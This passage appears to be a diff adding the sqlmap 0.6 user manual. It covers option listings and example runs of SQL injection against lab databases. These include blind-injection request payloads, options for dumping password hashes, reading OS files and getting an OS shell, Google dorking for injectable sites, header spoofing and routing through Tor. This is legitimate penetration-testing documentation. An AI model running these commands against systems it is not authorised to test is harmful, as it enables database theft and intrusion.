+ --cookie=COOKIE HTTP Cookie header
+ --referer=REFERER HTTP Referer header
+ --user-agent=AGENT HTTP User-Agent header
+ -a USERAGENTSFILE Load a random HTTP User-Agent header from file
+ --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest
+ --auth-cred=ACRED HTTP Authentication credentials, value: name:password
+ --proxy=PROXY Use a HTTP proxy to connect to the target url
+ --threads=THREADS Maximum number of concurrent HTTP requests (default 1)
+
+ Injection:
+ --string=STRING String to match in page when the query is valid
+ --dbms=DBMS Force back-end DBMS to this value
+
+ Fingerprint:
+ -f, --fingerprint Perform an extensive database fingerprint
+
+ Enumeration:
+ These options can be used to enumerate the back-end database
+ management system information, structure and data contained in the
+ tables. Moreover you can run your own SQL SELECT queries.
+
+ -b, --banner Retrieve DBMS banner
+ --current-user Retrieve DBMS current user
+ --current-db Retrieve DBMS current database
+ --users Enumerate DBMS users
+ --passwords Enumerate DBMS users password hashes (opt: -U)
+ --privileges Enumerate DBMS users privileges (opt: -U)
+ --dbs Enumerate DBMS databases
+ --tables Enumerate DBMS database tables (opt: -D)
+ --columns Enumerate DBMS database table columns (req: -T, -D)
+ --dump Dump DBMS database table entries (req: -T, -D opt: -C)
+ --dump-all Dump all DBMS databases tables entries
+ -D DB DBMS database to enumerate
+ -T TBL DBMS database table to enumerate
+ -C COL DBMS database table column to enumerate
+ -U USER DBMS user to enumerate
+ --exclude-sysdbs Exclude DBMS system databases when enumerating tables
+ --sql-query=QUERY SQL SELECT query to be executed
+ --sql-shell Prompt for an interactive SQL shell
+
+ File system access:
+ These options can be used to access the back-end database management
+ system file system taking advantage of native DBMS functions or
+ specific DBMS design weaknesses.
+
+ --read-file=RFILE Read a specific OS file content (only on MySQL)
+ --write-file=WFILE Write to a specific OS file (not yet available)
+
+ Operating system access:
+ This option can be used to access the back-end database management
+ system operating system taking advantage of specific DBMS design
+ weaknesses.
+
+ --os-shell Prompt for an interactive OS shell (only on PHP/MySQL
+ environment with a writable directory within the web
+ server document root for the moment)
+
+ Miscellaneous:
+ --union-test Test for UNION SELECT (inband) SQL injection
+ --union-use Use the UNION SELECT (inband) SQL injection to
+ retrieve the queries output. No need to go blind
+ --eta Retrieve each query output length and calculate the
+ estimated time of arrival in real time
+ -v VERBOSE Verbosity level: 0-5 (default 0)
+ --update Update sqlmap to the latest stable version
+ -s SESSIONFILE Save and resume all data retrieved on a session file
+ -c CONFIGFILE Load options from a configuration INI file
+ --save Save options on a configuration INI file
+
+
+
+
+
+
+
+Target URL
+
+Option: -u
or --url
+
+To run sqlmap on a single target URL.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2"
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+Target URL and verbosity
+
+Option: -v
+
+Verbose options can be used to set the verbosity level of output messages.
+There exist six levels.
+The default level is 0 (silent) in which only warnings, errors and
+tracebacks, if they occur, will be shown. Level 1 shows also info
+messages, level 2 show also debug messages, level 3 show also HTTP
+requests with all HTTP headers sent, level 4 show also HTTP responses
+headers and level 5 show also HTTP responses page content.
+
+Example on a MySQL 5.0.51 target (verbosity level 1):
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 1
+
+[hh:mm:01] [INFO] testing connection to the target url
+[hh:mm:01] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:02] [INFO] url is stable
+[hh:mm:02] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:02] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] GET parameter 'id' is dynamic
+[hh:mm:02] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:02] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:02] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:02] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:02] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:02] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:02] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(53), CHAR(53))
+[hh:mm:02] [INFO] retrieved: 55
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(53))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 5
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 2):
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 2
+
+[hh:mm:34] [DEBUG] initializing the configuration
+[hh:mm:34] [DEBUG] initializing the knowledge base
+[hh:mm:34] [DEBUG] cleaning up configuration parameters
+[hh:mm:34] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:34] [DEBUG] creating HTTP requests opener object
+[hh:mm:34] [DEBUG] parsing XML queries file
+[hh:mm:34] [INFO] testing connection to the target url
+[hh:mm:34] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:35] [INFO] url is stable
+[hh:mm:35] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:35] [INFO] testing if GET parameter 'id' is dynamic
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 3):
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+[hh:mm:29] [INFO] testing MySQL
+[hh:mm:29] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 4):
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 4
+
+[...]
+[hh:mm:32] [INFO] testing connection to the target url
+[hh:mm:32] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:32 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+[...]
+[hh:mm:33] [INFO] testing MySQL
+[hh:mm:33] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:33] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
+CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:00:33 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+[...]
+
+
+
+
+Example on a MySQL 5.0.51 target (verbosity level 5):
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 -v 5
+
+[...]
+[hh:mm:23] [INFO] testing connection to the target url
+[hh:mm:23] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:23 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 127
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html>
+[...]
+[hh:mm:24] [INFO] testing MySQL
+[hh:mm:24] [INFO] query: CONCAT(CHAR(51), CHAR(51))
+[hh:mm:24] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
+CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Thu, 24 Jul 2008 14:02:24 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 75
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+</table>
+</body></html>
+[...]
+
+
+
+
+
+Process Google dork results as target urls
+
+Option: -g
+
+Rather than providing a target URL it is also possible to test and inject
+on GET
parameters on the results of your Google dork.
+This option makes sqlmap negotiate with the search engine its session
+cookie to be able to perform a search, then sqlmap will retrieve Google
+first 100 results for the Google dork expression with GET
parameters
+asking you if you want to test and inject on each possible affected URL.
+
+Example of Google dorking with expression site:yourdomain.com
+inurl:example.php
:
+
+
+
+$ python sqlmap.py -g "site:yourdomain.com inurl:example.php" -v 1
+
+[hh:mm:38] [INFO] first request to Google to get the session cookie
+[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are
+testable hosts
+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this
+url? [y/N/q] n
+[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this
+url? [y/N/q] n
+[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you
+want to test this url? [y/N/q] y
+[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483
+[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic
+[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic
+[hh:mm:53] [INFO] GET parameter 'today' is dynamic
+[hh:mm:54] [INFO] testing sql injection on GET parameter 'today'
+[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today'
+[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today'
+[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable
+[...]
+
+
+
+
+
+Testable parameter(s)
+
+Option: -p
+
+By default sqlmap tests all GET
parameters, POST
+parameters, HTTP Cookie
header values and HTTP User-Agent
+header value for dynamicity and SQL injection vulnerability, but it is
+possible to manually specificy the parameter(s) you want sqlmap to perform
+tests on comma separeted in order to skip dynamicity tests and perform SQL
+injection test and inject directly only against the provided parameter(s).
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p id
+
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:49] [INFO] url is stable
+[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] GET parameter 'id' is dynamic
+[hh:mm:49] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:49] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+
+Or, if you want to provide more than one parameter, for instance:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \
+ -p "cat,id"
+
+
+
+
+You can also test only the HTTP User-Agent
header.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
+
+[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
+[hh:mm:40] [INFO] testing connection to the target url
+[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:41] [INFO] url is stable
+[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable
+[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent'
+[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable
+[hh:mm:41] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis
+[hh:mm:41] [INFO] testing MySQL
+[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:41] [INFO] retrieved: 44
+[hh:mm:41] [INFO] performed 20 queries in 0 seconds
+[hh:mm:41] [INFO] confirming MySQL
+[hh:mm:41] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:41] [INFO] retrieved: 4
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: MySQL >= 5.0.0
+
+
+
+
+
+HTTP method: GET
or POST
+
+Options: --method
and --data
+
+By default the HTTP method used to perform HTTP requests is GET
,
+but you can change it to POST
and provide the data to be sent
+through POST
request. Such data, being those parameters, are
+tested for SQL injection like the GET
parameters.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \
+ --data "id=1&cat=2"
+
+[hh:mm:53] [INFO] testing connection to the target url
+[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:54] [INFO] url is stable
+[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] POST parameter 'id' is dynamic
+[hh:mm:54] [INFO] testing sql injection on POST parameter 'id'
+[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id'
+[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable
+[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic
+[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic
+[...]
+[hh:mm:54] [INFO] testing Oracle
+[hh:mm:54] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:54] [INFO] retrieved: 9
+[hh:mm:54] [INFO] performed 13 queries in 0 seconds
+[hh:mm:54] [INFO] confirming Oracle
+[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:54] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:55] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: Oracle
+
+
+
+
+
+HTTP Cookie
header
+
+Option: --cookie
+
+This feature can be useful in two scenarios:
+
+
+- The web application requires authentication based upon cookies and
+you have such data.
+- You want to test for and exploit SQL injection on such header
+values.
+
+
+
+The steps to go through in the second scenario are the following:
+
+
+- On Firefox web browser login on the web authentication form while
+dumping URL requests with
+TamperData browser's extension.
+- In the horizontal box of the extension select your authentication
+transaction then in the left box on the bottom click with the right button
+on the
Cookie
value, then click on Copy
to save its
+value to the clipboard.
+- Go back to your shell and run sqlmap.
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \
+ "id=1;cat=2" -v 1
+
+[hh:mm:37] [INFO] testing connection to the target url
+[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:38] [INFO] url is stable
+[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic
+[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id'
+[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable
+[...]
+
+
+
+
+Note that the HTTP Cookie
header values are separated by a
+;
character, not by an &
.
+
+If the web application at first HTTP response has within the HTTP headers
+a Set-Cookie
header, sqlmap will automatically use it in all HTTP
+requests as the HTTP Cookie
header and also test for SQL
+injection on these values.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
+
+[...]
+[hh:mm:39] [INFO] testing connection to the target url
+[hh:mm:39] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
+Connection: close
+
+[...]
+[hh:mm:40] [INFO] url is stable
+[...]
+[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic
+[hh:mm:40] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/get_str.asp?name=luther HTTP/1.1
+Host: 192.168.1.125:80
+Cookie: ASPSESSIONIDSABTRCAS=469
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
+[...]
+
+
+
+
+If you provide an HTTP Cookie
header value and the target URL
+sends an HTTP Set-Cookie
header, sqlmap asks you which one to use
+in the following HTTP requests.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1"
+
+[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its
+own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie
+values that you provided? [Y/n]
+
+
+
+
+
+HTTP Referer
header
+
+Option: --referer
+
+It is possible to fake the HTTP Referer
header value with this
+option. By default no HTTP Referer
heder is sent in HTTP
+requests.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \
+ "http://www.google.com" -v 3
+
+[...]
+[hh:mm:48] [INFO] testing connection to the target url
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Referer: http://www.google.com
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+
+HTTP User-Agent
header
+
+Options: --user-agent
and -a
+
+By default sqlmap perform HTTP requests providing the following HTTP
+User-Agent
header value:
+
+
+
+sqlmap/0.6 (http://sqlmap.sourceforge.net)
+
+
+
+
+It is possible to fake it with the --user-agent
option.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
+ --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
+
+[...]
+[hh:mm:02] [INFO] testing connection to the target url
+[hh:mm:02] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
+Connection: close
+[...]
+
+
+
+
+Providing a text file, ./txt/user-agents.txt
or any other
+file containing a list of at least one user agent, to the -a
+option, sqlmap will randomly select a User-Agent
from the file
+and use it for all HTTP requests.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -a "./txt/user-agents.txt"
+
+[hh:mm:00] [DEBUG] initializing the configuration
+[hh:mm:00] [DEBUG] initializing the knowledge base
+[hh:mm:00] [DEBUG] cleaning up configuration parameters
+[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt'
+[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt':
+Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
+[hh:mm:00] [DEBUG] creating HTTP requests opener object
+[hh:mm:00] [DEBUG] parsing XML queries file
+[hh:mm:00] [INFO] testing connection to the target url
+[hh:mm:00] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
+Connection: close
+[...]
+
+
+
+
+Note that the HTTP User-Agent
header is tested against SQL
+injection even if you do not overwrite the default sqlmap HTTP
+User-Agent
header value.
+
+
+HTTP Basic
and Digest
authentications
+
+Options: --auth-type
and --auth-cred
+
+These options can be used to specify which HTTP authentication type the
+web server implements and the valid credentials to be used to perfom all
+HTTP requests to the target URL.
+The two valid types are Basic
and Digest
and the
+credentials' syntax is username:password
.
+
+Examples on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
+ --auth-type Basic --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:28] [INFO] testing connection to the target url
+[hh:mm:28] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \
+ --auth-type Digest --auth-cred "testuser:testpass" -v 3
+
+[...]
+[hh:mm:48] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+Authorization: Digest username="testuser", realm="Testing digest authentication",
+nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
+uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
+response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
+cnonce="df1c0902c931b640"
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+[...]
+
+
+
+
+
+HTTP proxy
+
+Option: --proxy
+
+It is possible to provide an anonymous HTTP proxy address to pass by the
+HTTP requests to the target URL. The syntax of HTTP proxy value is
+http://url:port
.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:3128"
+
+[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
+back-end DBMS: PostgreSQL
+
+
+
+
+Instead of using a single anonymous HTTP proxy server to pass by, you can
+configure a
+Tor client together
+with
+Privoxy on your machine
+as explained on the
+Tor client guide then run sqlmap as follows:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
+ --proxy "http://127.0.0.1:8118"
+
+
+
+
+Note that 8118
is the default Privoxy port, adapt it to your
+settings.
+
+
+Concurrent HTTP requests
+
+Option: --threads
+
+It is possible to specify the number of maximum concurrent HTTP requests
+that sqlmap can start when it uses the blind SQL injection technique to
+retrieve the query output.
+This feature relies on the
+multithreading concept and inherits both its pro and its cons.
+
+Examples on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
+ -b --threads 3
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:08] [INFO] fetching banner
+[hh:mm:08] [INFO] retrieved the length of query output: 18
+[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
+[hh:mm:09] [INFO] starting 3 threads
+[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:09] [INFO] performed 132 queries in 0 seconds
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+As you can see, sqlmap first calculates the length of the query output,
+then starts three threads. Each thread is assigned to retrieve one
+character of the query output. The thread then ends after approximately
+seven HTTP requests, the maximum to retrieve a query output character.
+
+
+
+
+String match
+
+Option: --string
+
+By default the distinction of a True query by a False one (basic concept
+for standard blind SQL injection attacks) is done comparing injected pages
+content MD5 hash with the original not-injected page content MD5. Not
+always this concept works because sometimes the page content changes at
+each refresh, for instance when the page has a counter, a dynamic
+advertisment banner or any other part of the HTML which is render
+dynamically and might change in time not only consequently to user's
+input.
+To bypass this limit, sqlmap makes it possible to manually provide a
+string which is always present on the not-injected page
+and on all True injected query pages, but that it is not
+on the False ones.
+Such information is easy for an user to retrieve, simply try to inject on
+the affected URL parameter an invalid value and compare original output
+with the wrong output to identify which string is on True page only.
+This way the distinction will be based upon string match and not page MD5
+hash comparison.
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ -v 5
+
+[...]
+[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
+[hh:mm:50] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:50 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
